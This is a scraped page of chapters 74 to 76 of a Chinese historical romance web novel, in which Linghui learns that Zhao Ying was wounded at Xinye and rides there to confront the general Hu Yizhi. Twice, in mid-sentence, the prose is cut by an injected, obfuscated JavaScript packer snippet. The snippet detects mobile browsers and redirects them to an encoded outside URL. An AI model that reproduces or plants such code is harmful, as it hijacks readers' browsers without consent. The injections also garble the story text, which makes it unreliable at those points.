王十六却苦笑:“他性子温和,不管娶了谁,爱与不爱,都会对对方很好很好的。只是堂姊心中放不下曾经那个人,和他相处冷淡,二人这么多年连子嗣也没有。可即使这样,他也没有纳妾心思,只说来日方长。” “所以你放心,我此次来不过是赵玄鉴说荆州风物甚美,我可以借他的名义出建康游历一番。这次不出来,大概一辈子都没机会出来了。只要看一眼,了无遗憾,后半辈子才能好好过啊。” 赵缨原来也有这样细密的心思……又或者另有目的,不过是顺势开导一番。 凝神认真听着王令华诉说自己的故事,听得灵徽都十分怅然。 她或许会放手,但没有道理眼睁睁看着萧庭孤立无援。如今南阳乱成一团,她一个娇养长大的女子,冲破重重危险来此,定然鼓足了勇气,遭遇了许多磨难。 灵徽做不到麻木,却也不敢大乱赵缨的计划。 思忖半晌,终于想到一个折中的方案,于是缓声道:“阿兄早有安排,你不要太过忧虑。回去告诉南阳王,只需再坚持三日,坚守三日情况必有转机,到时赵都督一定会去救。只是这三日千万要按兵不动,绝不可以主动出击,否则谁都救不了他。” “当真?”王令华扬起泪痕斑驳的脸,狐疑地问。 灵徽点头,并将赵缨的那封手书拿了出来,一字一句道:“这封信只能在三日后拆开,绝不可以提前看,不然后患无穷。你听明白了吗?” 王令华点头,答应了下来。 灵徽不放心:“你必须发誓,绝不提前打开。” 王令华虽然不知她为何这般严肃,但仍如她所言,用手指天起誓:“若违此誓,神佛不佑,不得好死。” 灵徽这才将东西交给了她,派了几个武力高强的侍卫,送她返回南阳。 75. 七十五、风雨 夜半时,灵徽猛然从噩梦中惊醒。 外面呼啸的狂风拍打在门窗上,发出让人恐惧的声响,仿佛千军万马在攻城,又好像无数野兽在嘶吼。外面的树影扭曲出恐怖的姿态,仿佛活了过来,随时要破门而入。 灵徽拥着锦被,冷汗从额上滴落,一颗心无措地跳动着,说不上是噩梦未散,还是被此时的声响所震慑。 云阁也已醒转,端着烛台进了内室,见灵徽眼神空洞地坐在床榻一角,忙上前安抚,并吩咐跟在她后面进屋的星台去倒水。 星台揉着眼睛,尚不知发生了什么,木木然往外走。忽然一记闷雷砸在头顶,她一个激灵,差点摔倒,人也就完全清醒了过来。 “女君不怕,这个季节气候就是这样,阴晴不定的。”云阁拍着灵徽的背,哄孩子一样的将她揽在怀中,柔声安慰。 灵徽的情绪仍沉浸在方才可怕的梦境中,半天走不出来,人也显得呆呆的。 “云阁,我梦到阿兄受了伤,浑身是血的站在我面前。”她的声音剧烈的颤抖着,手紧紧地攥住云阁的衣襟,好像只有这样才能有呼吸的力气。 听她说完,云阁的心口也陡然空成一片,失重一般的难以呼吸。她勉力维持着镇定,安慰灵徽:“不会,梦是反的,都督吉人天相,定会凯旋。” 话音甫落,忽有一道闪电劈裂了天幕,将漆黑的夜空骤然照亮,又瞬间重新跌进更深的永夜。闷雷一声接一声响起,仿佛要将世间万物都敲碎。 “这动静也太吓人了。”星台抱怨着回了屋,将水递到了云阁手中,看着灵徽就着她的手,浅浅抿了一口,又摇头推开。 她魂不守舍,望着外面无穷无尽的黑夜,只是发呆。 后半夜,大雨倾盆而下,噼里啪啦地打在院中的花木之上,带着摧毁一切美好的力量。她听到有东西坍塌的响动,再也忍不住披衣而起,推门而出。 门外大雨滂沱,在暗黑的夜幕中,织成白茫茫的纱幔,将世间一切都遮蔽起来,看不清前路。 她就那样站了很久很久,直到昏暗的天出现了一抹微光,勉强可以看清廊庑之外的景致。仆婢们陆续起身,抱怨着水积满了庭中,刚开得花落满一地。 这雨不知何时才能停止。 灵徽再也坐不住,吩咐郑叟备车,她要亲自去襄阳一趟。赵缨什么事都喜欢瞒着别人,尤其是瞒着她。 云阁和星台的劝阻都无济于事,当她们追上去时,马车已经绝尘而去,没入白茫茫的雨雾之中。 雨雪其雱,孑然独行。 一路上,灵徽都被一种茫然无措的情绪包围着,她觉得自己仿佛淋湿了翅膀的鸟,悲哀的,孤独的,无助的……雨雾深困的天地,好像一张绵密的网,她无处可逃。 远远可见襄阳城楼时,灵徽立刻就发现了不寻常之处。守着城门处的兵士多了不止一倍,各个披甲执刃,神色肃然。平日里人来人往的城门口,今日却少人行走,偶有一两个入城的百姓,还在大雨中被盘问半天。 这些显然都不能用天气来解释,定是出了什么事。 灵徽用赵缨的私印叩开城门,守城的将领不敢怠慢,直接放行。马车不敢稍歇,一路驰骋到刺史衙署,司马沈攸见她前来,目露惊诧之色,却依旧强装镇定,吩咐众人退下,亲自替她收起了簦笠。 “女君怎么忽然来了。”他神色慌乱,却强装镇定,笑着问道。 “战事如何?”她开门见山,并未绕弯子寒暄。 沈攸蹙眉,讷讷:“女君可是听到了什么消息?” 这句话一出口,便是再迟钝的人,也知道有事发生。她心里咯噔一下,几乎是本能地捉住了沈攸的衣袖,惶急地逼问:“我阿兄怎么了?可是出了什么事?” 沈攸见瞒不过,只能垂着头,如实交代。 一切本该如预料。 宛城坚守不出多日后,张仲符果然失去了耐心,分兵向宛城附近的淯阳、涅阳、舞阴等城池,欲将其一一攻破,对宛城成包围之势,让其孤立无援,束手就擒。窦慎早有安排,以逸待劳,利用地形之势准备各个击破。 谁知忽从江夏郡来了一支五万人的兵马,过随州,直达宛城九十里处。张仲符立刻将散在各处的兵马召回,合兵决定一战。江夏军不敌,逃亡时恰与赵缨救援之师相遇,于是赵缨只能被迫迎战张仲符。 那一战打得惨烈,双方皆死伤过半,赵缨虽勉强获胜,将张仲符逼退,但也急需休养。谁知回师准备驻扎新野时,新野城却忽然判变,守将胡意之不仅拒不开门,还以乱箭射向大军。赵缨中了箭,只能往穰县暂避。 “阿兄中了箭?伤势如何?”灵徽心口一紧,在听到这个消息后,忽然绞痛不已。 然而沈攸却没有给她一个期待的回答,他只是摇了摇头,无奈地说:“穰县粮草不多,恐无力支撑大军消耗。而且张仲符不会错失这样的战机,哪怕先不攻宛城,也要集结所有人马来对付都督。” 灵徽觉得腿软,头脑嗡嗡作响。是不是自己将那封信过早给了王令华,所以才导致了这场大祸。王令华一再起誓又如何,她那样担忧萧庭,自己为什么会信她。 比起担忧和慌乱,那种撕心裂肺的懊悔此刻正啃啮着灵徽的心。她做不出来从容不迫的样子,但是她知道自己不能先崩溃。 赵缨遇险,她没有任何崩溃退缩的机会,她必须要快速想个办法。只有他平安无虞,自己才有悔罪的机会。 如今的杨灵徽,早就不是当年那个只能等待的小女郎,不能等待,那只能放手一搏。 “女君,我想带兵救都督,但是都督临行前一再告诫,必须固守襄阳城。我实在不知如何是好……”沈攸道。 灵徽看着他,控制不住的双手颤抖,但她勉力将手缩在衣袖中,咬了咬下唇,保持着声音的镇定:“襄阳绝不可有失,你必须带着都督留下的人,继续守城。谁也说不好张仲符之兵会不会忽然出现在城下,若是此城有失,他定不会原谅我们。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13543846|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说罢,她从衣袖中取出了那封手书,这一次时机恰好,这一次她不负所托。 沈攸恭谨接过,快速浏览后,又将手书拢回衣袖里,对着灵徽又行了个大礼:“都督说,女君有主见,也有决断。他信你如信他自己,让在下无论如何都要听你调遣。如果女君想要从其他地方调兵,用他印信即可,圣上若怪罪由他一力承担。” 灵徽想不到,赵缨的手书里竟然会写这些,她更想不到那个口口声声要保护自己,不让自己做任何事情的男子,竟然会对自己有这样的评价。 他竟然早就知道自己有后手,但他不说。不说便是信任,不说也是尊重她的选择。 灵徽眼眶一热,忽然就落下泪来。 他知她甚多,她知他甚少。 “我们当如何?”沈攸跟随赵缨多年,对赵缨可以说是言听计从,灵徽并不怀疑他的忠诚,况且她也没有怀疑的资格。 穷途末路,背水一战罢了。 “坚守襄阳,不可擅动。襄阳城易守难攻,粮草充足,樊城占据地形之利,可有拱卫之能。张仲符不过是强弩之末,他动不了襄阳。”灵徽掐着自己的手心,迫着自己镇定,头脑里拼命思索着自己接下来要做的事情。 她的每一个决定,都涉及荆州安慰,涉及到她和赵缨的命运。 赵缨将这个重担压在她身上,真的只是信任她吗?这么多年的聚合离散,难道真的只有彼此,可以命相托…… 她比任何时候都恐惧,也比任何时候都清醒。不管赵缨如何安排,她都要遵从本心,尽力而为。 “挑选两个武艺高强,头脑灵活的侍女,随我一起去新野。”她淡声吩咐道。 沈攸不解,再三确认:“侍女?” “只要两个?” “去新野?” 灵徽点头,并未给他太多质疑的机会:“明日一早出发,莫要耽误。” 外面的雨仍在下,丝毫没有减弱的意思,她的心情亦如雨丝纷乱,焦躁、担忧、恐惧……她甚至都不知道自己能不能活着回来,可是她顾全自身,谁又能保全赵缨呢? 将军沙场半死生,哪怕他身经百战曾百胜,但这次却因为自己的疏忽而落入险地。她不敢心存侥幸,何况对手是那样难以战胜的存在。 新野此时叛乱,定和殷沣有关,她不管殷沣背后站的人是谁,都要阻止此事的继续恶化。这个时候,在为自己轻信于人而懊悔,毫无作用。她也在赌,赌胡意之的人品,赌胡意之是被人蒙蔽,赌她能有方法震慑住他。 只带两名侍女,是她的诚意,也是诱敌之策,若真到了无法挽回的境地,她也算尽了最大的力。 临行前,灵徽卜了一卦。卦象为“益”,初九爻。爻辞为“利用为大作,元吉,无咎。” 她惨然而笑,想不到当初学着糊弄谢衍的把戏,竟然成了此刻风雨飘摇的内心,最可依靠的港湾。 或许,会顺利的吧,天意见怜,当不会让她再次失去一切。 76. 七十六、新野 灵徽决定前往新野,并不完全是凭着一时冲动,或者是存了什么必死的决心。 胡意之这个人,她曾听阿父和赵缨提过许多次。 草莽出身,为人豪爽豁达,且忠介耿直。若非如此,胡意之也不会顾念阿父旧情,直接给殷沣安排那般重要的位置。毕竟当年在晋阳,他们之间相处并不融洽。 但人心易变,殷沣如此,谁知道胡意之会不会如此。她到现在也想不明白,殷沣为什么要一意孤行地置赵缨于死地。如果他背后真的有人指使,那么那个人是谁,目的又是什么。 一路前行,一路忐忑,一路心事重重。 但这一切顾虑,都随着胡意之本人站在她面前,而消弭了大半。高大粗犷的男子留着络腮胡子,笑声朗朗。一见到她时,并未如其他旧部一般恭谨行礼,而是打量了她一圈,满含欣喜道:“女君甚肖太尉。” 灵徽注意到,说完这句话时,胡意之的眼中有泪水隐隐闪动。 她也不明白,明明印象模糊,但她就是觉得亲切。 关于晋阳的一切,她都说不上熟悉,但那里却是她人生中最不可分割的部分。那不是一段回忆,那是她的整个童年。 “将军风采依旧,亦如当年。”灵徽曾远远见过他一次,高大魁伟的男子坐在马上,扬手挥鞭,十分英武。如今再见,却无更多变化。 胡意之哈哈大笑:“老了,老了……看到女君,才知岁月匆匆,当年你阿父还拿着家书给我们炫耀,说你才三岁,就会背许多诗了。” 灵徽眼睛有些发酸,勉力笑着,走进堂室中落了座。 环顾四周,见胡意之早已屏退了外人,她不由感慨这个人的细心周到,于是直说来意:“听闻那日赵都督退守新野,阿叔却没让他入城,反而以箭射之,不知这是何故?” 胡意之没有回答,脸上的笑容却逐渐隐去,只留一个复杂难明的神色:“难道不是女君着意告诉我,赵玄鉴与匈奴有勾结吗?” 这次却是灵徽惊愕不已,她果断摇头:“我并未由此举动。” 胡意之低头思索了片刻,神情肃然:“我以为女君特地安排殷子川来此,必有深意。”殷子川这个人,性情古怪,他们在晋阳时一直不和,但女君特地来书,这个面子他不得不给。 最要紧的是殷沣信誓旦旦地说,女君让他来此,是因为赵缨与匈奴有勾结,他作为太守和建威将军,不可不妨。 说实话,他们和赵缨也算同袍,再熟稔不过了。 晋阳时,少年寡言,战场却勇猛。杨将军一向爱重他,时时将他带到身边加以教导,信任他远比别人更多一些。他也颇争气,几战下来便让敌人闻风丧胆,名气遍传关外。那时他们也曾说笑,若是他再多立功劳,或许会成为杨将军的乘龙快婿。 杨将军的掌珠容色美丽,冰雪聪明,杨将军每每提起,眼角眉梢都是藏不住的骄傲和疼惜。 可偏偏就在赵缨屡战屡胜时,赐婚的旨意传遍了军中。 胡意之很少在这个少年脸上看到惊惶无措的神色。他好像一直都是内敛从容,喜怒不形于色的模样。可那一日,他不顾侍卫阻拦,冲入大帐之中,然后怒气冲冲地出来,不顾军令和战事,擅自离开了晋阳,回了洛城。 擅离职守,实乃大罪。 不久后他回来了,人消瘦了一大圈,又恢复了以往沉稳内敛的模样,不过似乎比以前更加寡言了,没有人能猜到他在想什么。杨将军并未追究他的罪行,更未有任何处罚,反而待他比以往更好。 他再未离开晋阳,忠于职守,作战勇猛,擢升的速度比所有人都快。人人都羡慕他,比起失去一个高不可攀的未婚妻,实实在在的军功和随之而来的高官厚禄显然更真实些。可胡意之却知道,赵缨并不这样认为。 明月高悬,少年披甲执刃地站在城楼上,目光望着洛阳的方向,一曲曲胡笳吹响,曲中全是相思。胡意之曾安慰过他,但话说出口,自己都觉得苍白。一切都交给时间吧,时间会疗愈每一个伤口,不管是癣疥之疾,还是心腹之痛。 可惜,没有时间了。 当乌泱泱的匈奴兵围在城下,当朝廷的援兵久久不至,当城中的粮草皆已见底,当所有的人都生出了绝望之心…… 城破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13565332|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那一日,杨将军以身殉城,头颅被高高悬在晋阳城上,用来羞辱和震慑这座坚持了十多年的城池。碧血连天,白骨参地,同袍死伤无数,就连他也是在死人堆里勉强捡回了一条命。 可是,本该守在杨将军身边的赵缨却不见了踪迹。 后来,再见到他时,他已经是当朝新贵,皇帝心腹,掌大魏最精锐的荆州之兵,威名震慑半个天下。 “他当年在城破时,行踪成迷,这一点也是事实。此次匈奴大军南下,他虽是我的顶头上司,但我也不得不防。我答应过太尉要尽忠职守,就早已将生死置之度外。谁要觊觎荆州之地,便从我的尸体上踏过去。”胡意之双眸炯炯,神色坚毅。 灵徽更加确定,他亦如自己一般,被人蒙蔽了。 “阿叔,恕我直言,我并不认为赵缨会这样做。”她缓缓将自己的理由道出,“他已掌四州之兵,勾结匈奴于他并无好处。” 胡意之摇头:“若匈奴给他更大的利益呢,比如……封王。” 这个灵徽也想过,或有可能。 “他本可以看着宛城被攻陷,何必多此一举,冒险和张仲符一战。” “若为苦肉之计,诱敌深入,直取襄阳。” “他临走时,将私印交付给我,让我可调荆州之兵,也默许我可借上庸之兵……他早早在襄阳做好了布防,甚至连南郡的安危都考虑到了。” “……”胡意之沉默了一瞬,细细思量着灵徽的话。 “此番他遇险,哪怕退避到穰县,也只吩咐襄阳守军不可轻动。” “如此……”胡意之听完这句话,叹息道,“或许其中确实有什么误会。可惜,我已将他射伤,若他真得有个好歹,我岂非成了罪人。” 灵徽摇头,宽慰道:“冤枉与否,我们一试便知。阿叔,若真得只是误会,我们还有挽救的机会。新野乃要地,也是南下襄阳必经之处。只要大军可来此暂避,从长计议,倒是可以与张仲符周旋。” 灵徽示意胡意之附耳过去,轻声说着自己的想法。胡意之神色慢慢凝重起来,到最后点了点头,同意了她的意见。